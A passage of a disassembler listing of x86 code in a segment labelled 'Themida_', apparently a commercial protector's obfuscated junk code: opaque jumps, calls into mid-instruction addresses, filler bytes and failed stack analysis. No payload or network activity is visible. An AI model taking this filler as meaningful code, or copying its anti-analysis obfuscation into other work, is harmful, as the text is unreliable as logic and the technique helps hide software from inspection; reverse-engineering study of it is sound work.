		dw 0D9A6h
		dd 21410E5Ch
; ---------------------------------------------------------------------------


loc_64FF38:				; CODE XREF: Themida_:loc_64FF2Dj
		pop	eax
		mov	ecx, edi
		mov	di, 9CA2h
		sbb	bh, 9Eh
		jmp	loc_64FF4F
; ---------------------------------------------------------------------------
		db 1Fh
		dd 8628DD63h
		db 76h,	73h, 0ECh
; ---------------------------------------------------------------------------


loc_64FF4F:				; CODE XREF: Themida_:0064FF42j
		mov	bx, 0D25Ch
		clc
		cmc
		or	di, 32B8h
		call	sub_64FF66
		adc	edx, edx
		js	short loc_64FFD5
; ---------------------------------------------------------------------------
		db 0FEh
		db 1Ah,	86h

; =============== S U B	R O U T	I N E =======================================



sub_64FF66	proc near		; CODE XREF: Themida_:0064FF5Ap
		push	ecx
		call	loc_64FF7B
		rcr	byte ptr [edi+ecx*8], 1
		fsubrp	st(1), st
		xchg	eax, edi
		adc	ebx, [edx]
		stc
		insb
		add	al, 71h
		mov	[esi], eax
		xlat
sub_64FF66	endp ; sp-analysis failed



loc_64FF7B:				; CODE XREF: sub_64FF66+1p
		pop	ebx
		pop	esi
		pop	ebx
		jle	loc_64FF99
		jmp	loc_64FF99
; ---------------------------------------------------------------------------
		db 0EFh, 7Bh, 9Ah
		dd 0DCC96F80h, 0A0343A48h, 8A9118F4h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_64FF99:				; CODE XREF: Themida_:0064FF7Ej
					; Themida_:0064FF84j
		jl	loc_64FFA4
		mov	esi, 0E334CC5h


loc_64FFA4:				; CODE XREF: Themida_:loc_64FF99j
		jmp	loc_64FFBD
; ---------------------------------------------------------------------------
		db 6Ah,	6Eh, 8Ah
; ---------------------------------------------------------------------------
		cmp	ecx, edi
		xchg	eax, [edi+66h]
		push	843EDA00h
		and	eax, 0F23F282Ch
		cmp	dl, [esi]


loc_64FFBD:				; CODE XREF: Themida_:loc_64FFA4j
		jg	$+6
		push	ebx
		jmp	near ptr loc_64FFD5+1
; ---------------------------------------------------------------------------
		db 0ACh, 0CCh, 47h
		dd 0B65BB715h, 7E651F65h
; ---------------------------------------------------------------------------
		push	ebp


loc_64FFD5:				; CODE XREF: Themida_:0064FF61j
					; Themida_:0064FFC4j
		jno	short near ptr loc_650031+4
		mov	cx, bx
		jbe	loc_64FFE6
		push	esi
		mov	cx, 6E2Dh
		pop	edi


loc_64FFE6:				; CODE XREF: Themida_:0064FFDAj
		mov	cx, bx
		js	$+6
		clc
		sub	bh, 0
		mov	cx, bx
		mov	ah, ch
		mov	edi, 1F4E6C12h
		pusha
		jnb	loc_650007
		mov	bx, di


loc_650007:				; CODE XREF: Themida_:0064FFFEj
		mov	di, 65BDh
		popa
		movzx	esi, cx
		mov	eax, 723B5F68h
		or	esi, 4AC1D77Dh
		mov	cl, 16h
		mov	di, si
		xor	eax, 58FCCA9Fh
		mov	ebx, edi
		movsx	esi, dx
		sbb	dx, 498Ah
		push	ecx
		pusha


loc_650031:				; CODE XREF: Themida_:loc_64FFD5j
		jnp	$+6
		mov	edi, 0B90605Ch
		popa
		pop	esi
		jmp	loc_650054
; ---------------------------------------------------------------------------
		db 0ECh
		dd 0F23BEF6Bh, 8AB59AFEh, 0AF95FCD0h, 8356FA2Ch
; ---------------------------------------------------------------------------


loc_650054:				; CODE XREF: Themida_:0065003Ej
		jmp	loc_650066
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		stosw
		setalc
		and	[ebx+esi*2-26h], esp
		scasd
		fstp	tbyte ptr [edi]
		dec	edi


loc_650066:				; CODE XREF: Themida_:loc_650054j
		jge	loc_650075
		jz	loc_650075
		movsx	eax, ax


loc_650075:				; CODE XREF: Themida_:loc_650066j
					; Themida_:0065006Cj
		mov	di, si
		jbe	loc_650092
		jmp	loc_650092
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 243A5846h, 0FF791EFAh, 4A8C983h
		db 2Dh,	0Fh
; ---------------------------------------------------------------------------


loc_650092:				; CODE XREF: Themida_:00650078j
					; Themida_:0065007Ej
		jge	loc_6500A5
		jmp	loc_6500A5
; ---------------------------------------------------------------------------
		db 0F0h, 4Ah, 16h
; ---------------------------------------------------------------------------
		xor	al, 3Ch
		inc	edi
		test	[edx], esp


loc_6500A5:				; CODE XREF: Themida_:loc_650092j
					; Themida_:00650098j
		pusha
		jg	loc_6500B2
		sbb	ebx, 6720F8E6h


loc_6500B2:				; CODE XREF: Themida_:006500A6j
		mov	dh, ch
		popa
		mov	dh, 0FCh
		mov	ecx, 43AD6AF3h
		call	near ptr loc_6500C7+3
		add	ecx, [edi+1]
		out	dx, eax
		jno	short near ptr loc_6500C7+2


loc_6500C7:				; CODE XREF: Themida_:006500C5j
					; Themida_:006500BCp
		sub	[esp+esi*2-43441D7Fh], edx
		cmp	al, 0Ch
		pop	edi
		and	si, 0DC23h
		movsx	ecx, ax
		mov	dl, 0B6h
		mov	edi, ebx
		movzx	edx, cx
		movzx	eax, dx
		mov	bx, si
		mov	eax, edi
		mov	edi, ecx
		ja	loc_6500F5
		or	cx, 0EB0Fh


loc_6500F5:				; CODE XREF: Themida_:006500EAj
		cmc
		jmp	loc_65010A
; ---------------------------------------------------------------------------
		db 0Ch
		dd 6A3E48C0h, 14371F27h, 0CD82FB8h
		db 0FEh, 0Ch
; ---------------------------------------------------------------------------


loc_65010A:				; CODE XREF: Themida_:006500F6j
		jle	loc_650112
		mov	edx, ebx


loc_650112:				; CODE XREF: Themida_:loc_65010Aj
		jmp	loc_650123
; ---------------------------------------------------------------------------
		db 62h
		dd 1A7F1189h, 0FE36D3CDh
		db 0F6h, 0A9h, 11h
; ---------------------------------------------------------------------------


loc_650123:				; CODE XREF: Themida_:loc_650112j
		jmp	loc_650136
; ---------------------------------------------------------------------------
		dd 0E2251AE7h, 91C0AFEh, 1B8E6C9h
; ---------------------------------------------------------------------------
		add	bl, [ecx]


loc_650136:				; CODE XREF: Themida_:loc_650123j
		add	al, 52h
		mov	ebx, 6757060Eh
		push	edi
		jmp	loc_650152
; ---------------------------------------------------------------------------
		dd 2DD9C992h, 839FFCD2h, 356D2B29h
; ---------------------------------------------------------------------------
		icebp
		pop	edx


loc_650152:				; CODE XREF: Themida_:0065013Fj
		pop	edi
		add	bx, 3E09h
		mov	ax, 0B4D5h
		mov	ebx, 64CE2A06h
		jmp	loc_65016D
; ---------------------------------------------------------------------------
		pop	edi
		mov	al, 6Fh
		stc
		das
		rcr	dword ptr [eax], cl


loc_65016D:				; CODE XREF: Themida_:00650161j
					; Themida_:00650184j
		call	sub_650186
; ---------------------------------------------------------------------------
		dw 4AA8h
		dd 8F354BBEh, 5F70E0B8h, 92707DFEh, 92347CFAh
; ---------------------------------------------------------------------------
		jbe	short loc_65016D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_650186	proc near		; CODE XREF: Themida_:loc_65016Dp
		pop	edx
		adc	ch, 67h
		pusha
		mov	bl, 93h
		and	si, 0F735h
		popa
		jl	loc_65019A
		stc


loc_65019A:				; CODE XREF: sub_650186+Dj
		xor	cl, 6Ah
		and	di, 0E577h
		movzx	ecx, si
		mov	bx, 298Fh
		jmp	loc_6501C1
; ---------------------------------------------------------------------------
		dw 661Ah
		dd 0D5071B85h, 170AFBA1h, 390ADD25h, 0E52BE12Ah
		db 63h
; ---------------------------------------------------------------------------


loc_6501C1:				; CODE XREF: sub_650186+23j
		call	sub_6501DA
sub_650186	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		aaa
		db	64h
		cmp	esp, edi
		sub	al, 0B1h
		sub	ch, [ecx-66A1AAA3h]
		add	dword ptr [ebx-2Bh], 75h
		rcl	byte ptr [esp+ecx-46h],	cl

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_6501DA	proc near		; CODE XREF: sub_650186:loc_6501C1p
		mov	bh, ch
		pop	edx
		jp	loc_6501E8
		mov	edx, 7E2F7D31h


loc_6501E8:				; CODE XREF: sub_6501DA+3j
		jg	$+6
		mov	edi, 702321CFh
		jmp	loc_65020B
; ---------------------------------------------------------------------------
		cmp	eax, 80EF2AC7h
		stosb
		popa
		pop	ecx
		pop	ebx
		rol	cl, 0ACh
		xchg	eax, edi
		xor	al, 8Fh
		shl	dword ptr [ecx+46h], 6


loc_65020B:				; CODE XREF: sub_6501DA+19j
		mov	si, bx
		mov	esi, 5CC199BEh
		sub	esi, 5C02AC9Bh
		mov	al, 0F2h
		stc
		push	edx
		clc
		pop	ebx
		movzx	ebx, si
		mov	eax, 62B8EDB6h
		mov	cl, 78h
		movzx	eax, si
		jz	$+6
		jns	loc_65023D
		mov	ebx, 6521FDB9h


loc_65023D:				; CODE XREF: sub_6501DA+58j
		jmp	loc_650254
; ---------------------------------------------------------------------------
		dw 4E1h
		dd 0FDA398D4h, 0C8BCE695h, 8DD50B2Dh, 0F37889BBh
; ---------------------------------------------------------------------------


loc_650254:				; CODE XREF: sub_6501DA:loc_65023Dj
		mov	ax, 1BEEh
		cld
		mov	ah, 20h
		jl	loc_650266
		add	bx, 9FCFh


loc_650266:				; CODE XREF: sub_6501DA+81j
		jmp	loc_650270
; ---------------------------------------------------------------------------
		db 12h
		dd 658070DBh
; ---------------------------------------------------------------------------


loc_650270:				; CODE XREF: sub_6501DA:loc_650266j
		jnz	loc_65028A
		jmp	loc_65028A
; ---------------------------------------------------------------------------
		adc	ebx, [edi]
		add	edi, eax
		pop	ebp
		add	ebx, [esi]
		add	bl, 0B1h
		pop	ss
		xchg	eax, edx
		cmpsd
		movsb


loc_65028A:				; CODE XREF: sub_6501DA:loc_650270j
					; sub_6501DA+9Cj
		jle	loc_6502A7
		jmp	loc_6502A7
; ---------------------------------------------------------------------------
		push	ebx
		xchg	eax, ecx
		mov	bl, 0EEh
		daa
		xor	dword ptr [ecx+4Eh], 0FFFFFFDBh
		mov	ebp, ds
		jmp	short loc_6502EE
; ---------------------------------------------------------------------------
		dw 0A62Ah
		db 0BCh, 8, 63h
; ---------------------------------------------------------------------------


loc_6502A7:				; CODE XREF: sub_6501DA:loc_65028Aj
					; sub_6501DA+B6j
		clc
		mov	bh, ah
		ja	loc_6502B6
		adc	ecx, 6B44EAD8h


loc_6502B6:				; CODE XREF: sub_6501DA+D0j
		jmp	loc_6502CC
; ---------------------------------------------------------------------------
		db 13h
		dd 0D673A089h, 41D68B99h, 2982FB59h, 0AA96BA14h
; ---------------------------------------------------------------------------


loc_6502CC:				; CODE XREF: sub_6501DA:loc_6502B6j
		call	sub_6502D7
sub_6501DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B1h, 0C5h, 75h
		db 42h,	6Ch, 27h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_6502D7	proc near		; CODE XREF: sub_6501DA:loc_6502CCp
		stc
		pop	edi
		push	edi
		sub	dx, 0F262h
		pop	ecx
		mov	cx, 4D82h
		mov	edx, 437C2B63h
		mov	esi, 16244944h


loc_6502EE:				; CODE XREF: sub_6501DA+C6j
		jmp	loc_650306
; ---------------------------------------------------------------------------
		db 7Eh
		dd 86951D98h, 5E3B1B99h, 0D10B49E7h, 532865Ch
		db 3Eh,	9Dh
; ---------------------------------------------------------------------------


loc_650306:				; CODE XREF: sub_6502D7:loc_6502EEj
		mov	ebx, 604C26Ah
		pusha
		movzx	edi, si
		push	edx
		mov	di, 43A9h
		pop	esi
		popa
		mov	edi, 6ABB0F11h
		movzx	eax, bx
		mov	edi, 61F5BC5Eh
		call	sub_65032D
		hlt
sub_6502D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	dl, bl
		mov	dh, 46h

; =============== S U B	R O U T	I N E =======================================



sub_65032D	proc near		; CODE XREF: sub_6502D7+4Cp
		push	esi
		push	ecx
		pop	edi
		pop	ebx
		pop	edi
		push	edi
		call	sub_65033F
		loopne	near ptr loc_650352+2
		enter	0FFFF922Bh, 13h
		daa
sub_65032D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_65033F	proc near		; CODE XREF: sub_65032D+6p
		pop	edi
		pop	ebx
		mov	cx, 0FDE6h
		jmp	loc_65034F
; ---------------------------------------------------------------------------
		mov	ds:9796D125h, eax


loc_65034F:				; CODE XREF: sub_65033F+6j
		push	ebx
		pop	esi
		push	edx


loc_650352:				; CODE XREF: sub_65032D+Bj
		xor	si, 8E7Ch
		pop	eax
		jmp	loc_650363
; ---------------------------------------------------------------------------
		db 80h,	6Ch, 5Dh
		db 0BAh, 0A5h, 0F4h
; ---------------------------------------------------------------------------


loc_650363:				; CODE XREF: sub_65033F+19j
		pusha
		jmp	loc_650373
; ---------------------------------------------------------------------------
		db 0BFh, 0D7h, 0F6h
; ---------------------------------------------------------------------------
		and	[ebx], dl
		imul	edx, esp, 71h
		stc


loc_650373:				; CODE XREF: sub_65033F+25j
		mov	di, 5723h
		popa
		xor	dx, 0D3FCh
		call	loc_650387
		push	ebx
		mov	ch, [esi-16h]
		push	es
sub_65033F	endp ; sp-analysis failed



loc_650387:				; CODE XREF: sub_65033F+3Ep
		jmp	loc_65039F
; ---------------------------------------------------------------------------
		add	eax, 302644D2h
		pop	edx
		lahf
		adc	ds:0D6D46A0Dh, esi
		test	bh, ch
		rcl	byte ptr [ebx],	6Dh
		dec	ebp


loc_65039F:				; CODE XREF: Themida_:loc_650387j
		pop	esi
		jns	$+6
		push	ebx
		mov	ecx, 7FFEAF50h
		pop	eax
		mov	esi, 4882053Ah
		jmp	loc_6503BF
; ---------------------------------------------------------------------------
		db 73h
		dd 0C3B56DABh
		db 54h,	0BFh, 9Ch
; ---------------------------------------------------------------------------


loc_6503BF:				; CODE XREF: Themida_:006503B2j
		mov	bx, di
		mov	ax, 0C54Ch
		movzx	eax, si
		call	loc_6503DC
		enter	34C0h, 0B6h
		sub	[ecx], bl
		sub	edi, [ebp-26E7534Ch]
; ---------------------------------------------------------------------------
		dw 4A8Eh
; ---------------------------------------------------------------------------


loc_6503DC:				; CODE XREF: Themida_:006503C9p
		and	ax, 0B536h
		pop	ecx
		push	eax
		movsx	edx, cx
		pop	esi
		pusha
		jnp	loc_6503F0
		push	edi
		pop	esi


loc_6503F0:				; CODE XREF: Themida_:006503E8j
		mov	dx, bx
		popa
		mov	bl, 13h
		jns	loc_650405
		jnb	loc_650405
		movzx	ebx, ax


loc_650405:				; CODE XREF: Themida_:006503F6j
					; Themida_:006503FCj
		jo	$+6
		sub	si, 9D0Ah
		jmp	loc_650428
; ---------------------------------------------------------------------------
		db 0A4h, 99h, 59h
		dd 0BEE58CA3h, 17698F4Ch, 1F16B7BAh, 22A18A2Ch
; ---------------------------------------------------------------------------


loc_650428:				; CODE XREF: Themida_:00650410j
		mov	di, ax
		mov	ch, 0C4h
		movsx	ecx, cx
		pusha
		cld
		mov	ah, 0AEh
		popa
		mov	di, cx
		cld
		mov	eax, 5D8C518h
		or	dh, 0A4h
		jb	loc_650450
		pusha
		pusha
		popa
		sub	dx, 0FAD8h
		popa


loc_650450:				; CODE XREF: Themida_:00650441j
		mov	esi, 0D05202Bh
		jmp	loc_65046B
; ---------------------------------------------------------------------------
		clc
		pop	esi
		xchg	bl, [ebp+ecx*8+75h]
		mov	edx, 2F4D290Dh
		cmpsd
		cmp	ecx, [edx]
		push	edi
		dec	ebp
		popf


loc_65046B:				; CODE XREF: Themida_:00650455j
		call	sub_65047B
; ---------------------------------------------------------------------------
		dd 0DA7CE054h, 132B47F2h
		db 2Eh,	0F9h, 98h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_65047B	proc near		; CODE XREF: Themida_:loc_65046Bp
		mov	eax, edi
		pop	ebx
		adc	di, 0D576h
		sbb	ax, 0DF5Eh
		call	loc_65049B
		jmp	far ptr	0D267h:0C8264CA7h
sub_65047B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 89617AFEh
; ---------------------------------------------------------------------------
		xchg	eax, esi
		inc	esi


loc_65049B:				; CODE XREF: sub_65047B+Dp
		mov	al, 8
		pop	esi
		cld
		mov	dx, 0AB6Bh
		mov	ecx, 4E24EE1Dh
		jo	loc_6504B1
		mov	dx, cx


loc_6504B1:				; CODE XREF: Themida_:006504A8j
		push	eax
		movzx	esi, si
		pop	edx
		adc	cl, 0B0h
		jmp	loc_6504C6
; ---------------------------------------------------------------------------
		dw 8AF0h
; ---------------------------------------------------------------------------
		lea	ebp, [edx-1B329A34h]


loc_6504C6:				; CODE XREF: Themida_:006504B9j
		cmc
		mov	ah, ch
		jnp	$+6
		cmc
		mov	dx, ax
		movsx	ebx, si
		mov	ebx, 681C772Bh
		mov	ebx, edi
		add	si, 0BD2Eh
		jp	loc_6504EE
		jg	$+6


loc_6504EE:				; CODE XREF: Themida_:006504E2j
		stc
		mov	edi, 4C9DCF11h
		pusha
		add	cx, 0EAA9h
		ja	loc_650505
		mov	eax, 4B25D768h


loc_650505:				; CODE XREF: Themida_:006504FAj
		popa
		mov	ax, si
		mov	ax, 0AD64h
		jo	loc_650514
		cld


loc_650514:				; CODE XREF: Themida_:0065050Dj
		mov	bx, 903Ch
		jge	loc_650529
		ja	loc_650529
		adc	ax, 9361h


loc_650529:				; CODE XREF: Themida_:00650518j
					; Themida_:0065051Ej
		stc
		pusha
		jmp	loc_65053A
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dec	ebx
		pusha
		cmp	bl, [eax+ecx*2+13F98B7Ah]


loc_65053A:				; CODE XREF: Themida_:0065052Bj
		add	si, 0A795h
		popa
; START	OF FUNCTION CHUNK FOR sub_650583


loc_650540:				; CODE XREF: sub_650583+35j
		pusha
		mov	ebx, 330E2E76h
		sbb	eax, 15527EF2h
		popa
		jo	loc_650559
		or	esi, 5B35566Ch


loc_650559:				; CODE XREF: sub_650583-36j
		jnz	loc_650562
		mov	si, di


loc_650562:				; CODE XREF: sub_650583:loc_650559j
		mov	edx, 4A216CA8h
		push	edx
		jns	loc_650584
		call	sub_650583
		test	al, 96h
		mov	ah, bl
		fsqrt
		jno	short near ptr loc_6505A1+1
		in	al, dx
		db	64h
		pushf
		xor	dl, bl
; END OF FUNCTION CHUNK	FOR sub_650583
; ---------------------------------------------------------------------------
		db 8Dh,	0D9h, 69h

; =============== S U B	R O U T	I N E =======================================



sub_650583	proc near		; CODE XREF: sub_650583-15p

; FUNCTION CHUNK AT 00650540 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 006505C1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 006505EC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00650615 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0065061C SIZE 0000000F BYTES

		pop	ebx


loc_650584:				; CODE XREF: sub_650583-1Bj
		pop	ebx
		cld
		push	ebx
		mov	al, 0B6h
		pop	eax
		jmp	loc_65059B
; ---------------------------------------------------------------------------
		db 82h
		dd 0D473FEFDh, 0B9F83DB9h
		db 59h,	2 dup(83h)
; ---------------------------------------------------------------------------


loc_65059B:				; CODE XREF: sub_650583+7j
		or	ebx, 33043565h


loc_6505A1:				; CODE XREF: sub_650583-Aj
		jns	loc_6505C1
		call	near ptr loc_6505BF+1
		push	esi
		push	ds
		mov	ebp, 0D78A12C9h
		wait
		push	dword ptr [ebp+74h]
		dec	esp
		jge	short loc_650540
		mov	cl, 0FCh
		in	al, 5Eh
		pop	edx


loc_6505BF:				; CODE XREF: sub_650583+24p
		jge	short loc_65061C
sub_650583	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_650583


loc_6505C1:				; CODE XREF: sub_650583:loc_6505A1j
		sub	ebx, 115E87CFh
		push	eax
		sub	dx, 8E24h
		pop	edx
		mov	ebx, esi
		mov	cx, dx
		mov	bx, si
		jmp	loc_6505EC
; END OF FUNCTION CHUNK	FOR sub_650583
; ---------------------------------------------------------------------------
		db 0E6h
		dd 0B8759B85h, 378092A6h, 96B6AA8Fh, 0C6507D1Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_650583


loc_6505EC:				; CODE XREF: sub_650583+53j
		sbb	cl, 1Dh
		and	ax, 42E5h
		mov	ebx, 0F929579h
		or	cx, 3FE1h	; CODE XREF: sub_650583+A6j
		jmp	loc_650615
; END OF FUNCTION CHUNK	FOR sub_650583
; ---------------------------------------------------------------------------
		db 40h
		dd 71C9FA01h, 0AF69F7D4h, 6BC61FB0h, 0ED825749h
; ---------------------------------------------------------------------------
		xlat
; START	OF FUNCTION CHUNK FOR sub_650583


loc_650615:				; CODE XREF: sub_650583+7Bj
		jmp	near ptr loc_650624+3
; END OF FUNCTION CHUNK	FOR sub_650583
; ---------------------------------------------------------------------------
		dw 0D896h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_650583


loc_65061C:				; CODE XREF: sub_650583:loc_6505BFj
		fstp	qword ptr [edi]
		insd
		mov	eax, ds:0B54DFF63h


loc_650624:				; CODE XREF: sub_650583:loc_650615j
		mov	ds:81520B48h, eax
		jmp	short near ptr loc_6505F9+3
; END OF FUNCTION CHUNK	FOR sub_650583
; ---------------------------------------------------------------------------
		or	al, [eax+36h]
		pop	eax
		adc	al, 1Fh
		push	ebx
		xor	si, 47F8h
		pop	ebx
		mov	ebx, edx
		jge	loc_65065A
		jmp	loc_65065A
; ---------------------------------------------------------------------------
		dw 0F368h
		dd 0A96030ECh
		db 2Bh,	0EDh, 0E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6506A9


loc_65064F:				; CODE XREF: sub_6506A9-14j
		les	esp, [edi+ecx+1DBD8A80h]
		test	al, 18h
		in	eax, 32h


loc_65065A:				; CODE XREF: Themida_:0065063Bj
					; Themida_:00650641j
		jmp	loc_65066A
; END OF FUNCTION CHUNK	FOR sub_6506A9
; ---------------------------------------------------------------------------
		db 0CEh
		dd 8FC64B31h, 8CEE36C3h
; ---------------------------------------------------------------------------
		inc	esi
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_6506A9


loc_65066A:				; CODE XREF: sub_6506A9:loc_65065Aj
		sbb	si, 0AD60h


loc_65066F:				; CODE XREF: sub_6506A9+15j
		mov	dl, bh
		mov	si, di
		cld
		cmc
		pusha
		mov	edx, ecx
		js	loc_650680
		stc


loc_650680:				; CODE XREF: sub_6506A9-30j
		popa
		mov	ebx, esi
		mov	ax, dx
		movsx	edi, bx
		push	edi
		mov	edx, 9BC80h
		pop	eax
		call	sub_6506A9
		db	26h
		jns	short loc_65064F
; END OF FUNCTION CHUNK	FOR sub_6506A9
; ---------------------------------------------------------------------------
		dd 15E72A8Fh, 104F0CD7h, 0C75646B1h, 87AC51FDh
		db 9Ah

; =============== S U B	R O U T	I N E =======================================



sub_6506A9	proc near		; CODE XREF: sub_6506A9-19p

; FUNCTION CHUNK AT 0065064F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0065066A SIZE 0000002E BYTES

		mov	eax, esi
		pop	ebx
		jmp	loc_6506C4
; ---------------------------------------------------------------------------
		db 70h,	6Dh, 0DCh
; ---------------------------------------------------------------------------
		or	al, 22h
		imul	ebp, esp, 9A8A7766h
		cdq
		pop	es
		jnb	short loc_65066F
		sbb	bl, ch
		fstp	dword ptr [ecx]


loc_6506C4:				; CODE XREF: sub_6506A9+3j
		movzx	ecx, dx
		pusha
		jnz	loc_6506D0
		mov	dl, cl


loc_6506D0:				; CODE XREF: sub_6506A9+1Fj
		jnb	loc_6506D8
		mov	al, dh


loc_6506D8:				; CODE XREF: sub_6506A9:loc_6506D0j
		popa
		mov	di, 7B69h
		js	loc_6506F0
		pusha
		or	dx, 0D0A6h
		jns	$+6
		popa


loc_6506F0:				; CODE XREF: sub_6506A9+34j
		jl	loc_650705
		jmp	loc_650705
; ---------------------------------------------------------------------------
		db 42h
		dd 37478EACh, 587D564Ch
		db 3Bh
; ---------------------------------------------------------------------------


loc_650705:				; CODE XREF: sub_6506A9:loc_6506F0j
					; sub_6506A9+4Dj
		jmp	loc_650710
; ---------------------------------------------------------------------------
		and	[ebp+56892135h], ebx


loc_650710:				; CODE XREF: sub_6506A9:loc_650705j
		mov	ebx, eax
		jge	loc_65071D
		add	cx, 3AC6h


loc_65071D:				; CODE XREF: sub_6506A9+69j
		call	near ptr loc_65072C+2
		dec	ecx
		cmp	eax, esp
		fcomi	st, st(2)
		pop	esi
		cwde
		std
		or	al, 6Dh


loc_65072C:				; CODE XREF: sub_6506A9:loc_65071Dp
		shl	byte ptr [ebx+38C0Fh], 0
sub_6506A9	endp ; sp-analysis failed

		add	[esi-75h], ah
		setalc
		pop	edi
		jz	loc_650744
		sbb	ecx, 718610FAh


loc_650744:				; CODE XREF: Themida_:00650738j
		mov	edi, 0A0A9A08h
		or	dl, 0CBh
		jbe	loc_650753
		clc


loc_650753:				; CODE XREF: Themida_:0065074Cj
		movsx	ecx, dx
		jz	loc_65075E
		mov	esi, edi


loc_65075E:				; CODE XREF: Themida_:00650756j
		movsx	eax, di
		mov	esi, 59353BAEh
		jbe	loc_65076E
		mov	bl, 5Fh


loc_65076E:				; CODE XREF: Themida_:00650766j
		cld
		mov	edx, 4FF0D93h
		call	near ptr loc_650789+2
		call	near ptr 9FDA885Eh
		and	byte ptr [ebp+63h], 0A3h
		sahf
		test	byte ptr [ecx],	13h
		add	al, 0AEh
		pop	ebx


loc_650789:				; CODE XREF: Themida_:00650774p
		push	dword ptr ds:5BCB8B66h
		call	loc_6507A2
		db	2Eh
		xchg	edi, esp
		bound	esp, [eax]
		rcr	byte ptr [edi+ebx*8], 0D8h
		pop	esp
		fistp	word ptr [eax]
		xchg	eax, edx
		xchg	eax, edx


loc_6507A2:				; CODE XREF: Themida_:0065078Fp
		jno	loc_6507AB
		mov	di, cx


loc_6507AB:				; CODE XREF: Themida_:loc_6507A2j
		pop	ecx
		and	eax, 50634BCDh
		jmp	loc_6507C4
; ---------------------------------------------------------------------------
		db 4Ch
		dd 0A46C9931h, 460AE877h, 0D5C0AFB9h
; ---------------------------------------------------------------------------


loc_6507C4:				; CODE XREF: Themida_:006507B2j
		cld
		jno	loc_6507CC
		stc


loc_6507CC:				; CODE XREF: Themida_:006507C5j
		jmp	loc_6507E5
; ---------------------------------------------------------------------------
		db 58h,	0EDh, 0A5h
		dd 0C017FF6Dh, 2F2F05ADh, 5F0D68A9h, 32EBDB5h
		db 79h
; ---------------------------------------------------------------------------


loc_6507E5:				; CODE XREF: Themida_:loc_6507CCj
		cld
		mov	edi, ecx
		add	dx, 0FFB5h
		jmp	loc_6507FE
; ---------------------------------------------------------------------------
		dw 4F7Dh
; ---------------------------------------------------------------------------
		pop	ebx
		scasb
		rcr	byte ptr [edx-2B143A19h], 0F1h
		stosd


loc_6507FE:				; CODE XREF: Themida_:006507EDj
		mov	ch, ah
		and	al, 38h
		jns	loc_65080D
		mov	di, 4A24h


loc_65080D:				; CODE XREF: Themida_:00650803j
		jmp	loc_650822
; ---------------------------------------------------------------------------
		dw 8B3h
		dd 8EB88D80h, 23A5833Bh, 1A6CA74Ah
; ---------------------------------------------------------------------------
		cmp	al, 4Dh


loc_650822:				; CODE XREF: Themida_:loc_65080Dj
		mov	dl, bh
		mov	cl, al
		jmp	loc_650837
; ---------------------------------------------------------------------------
		db 0A6h
		dd 9E634A77h, 0E8F1D336h
		db 0B4h, 29h, 26h
; ---------------------------------------------------------------------------


loc_650837:				; CODE XREF: Themida_:00650826j
		pusha
		add	ax, 0A332h
		mov	di, 4527h
		popa
		jle	loc_650857
		jmp	loc_650857
; ---------------------------------------------------------------------------
		cmp	eax, 25A273ACh
		mov	edx, 4C30E85Dh


loc_650857:				; CODE XREF: Themida_:00650842j
					; Themida_:00650848j
		mov	esi, 1D6335C2h
		adc	ebx, 532AF22Bh
		movzx	ecx, bx
		or	bl, 16h
		mov	edx, esi
		mov	cx, 5F08h
		cmc
		mov	di, dx
		movsx	ebx, di
		mov	ebx, eax
		jmp	loc_650889
; ---------------------------------------------------------------------------
		dd 54358E4Ah, 2E896999h, 906F9157h
; ---------------------------------------------------------------------------
		inc	eax


loc_650889:				; CODE XREF: Themida_:00650877j
		and	di, 80A8h
		pusha
		mov	eax, 6AB9A71Ch
		call	sub_6508AA
		push	edx
		db	67h
		pop	esp
		fsubr	qword ptr [ebp-70h]
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0FAB463A8h, 163D370Eh
		db 0C5h, 54h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6508AA	proc near		; CODE XREF: Themida_:00650894p
		jmp	sub_6508B7
sub_6508AA	endp

; ---------------------------------------------------------------------------
		db 0EDh
		dd 6B9C0B6Eh
		db 7Fh,	0F4h, 19h

; =============== S U B	R O U T	I N E =======================================



sub_6508B7	proc near		; CODE XREF: sub_6508AAj
		pop	eax
		popa
		jp	loc_6508C2
		add	bh, 0B9h


loc_6508C2:				; CODE XREF: sub_6508B7+2j
		mov	bx, cx
		cld
		jmp	loc_6508DB
; ---------------------------------------------------------------------------
		db 0F4h
		dd 0BEADDB75h, 0E1F73CC4h, 1EE205EEh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		push	eax
		stosb


loc_6508DB:				; CODE XREF: sub_6508B7+Fj
		mov	edi, edx
		jmp	loc_6508F6
; ---------------------------------------------------------------------------
		dw 0C08h
		dd 7BF4B10Eh, 0A47A9329h, 0BB7D0B75h, 0F0670699h
		db 0EEh, 26h
; ---------------------------------------------------------------------------


loc_6508F6:				; CODE XREF: sub_6508B7+26j
		movzx	ecx, si
		pusha
		mov	dl, 0EEh
		adc	ebx, 10A87EB7h
		popa
		adc	edx, 5DAFCBB7h
		mov	ax, bx
		mov	edx, 328C2507h
		sub	edx, 7F405DD3h
		mov	ax, 0F04Bh
		push	ebx
		mov	cx, ax
		pop	eax
		mov	ebx, eax
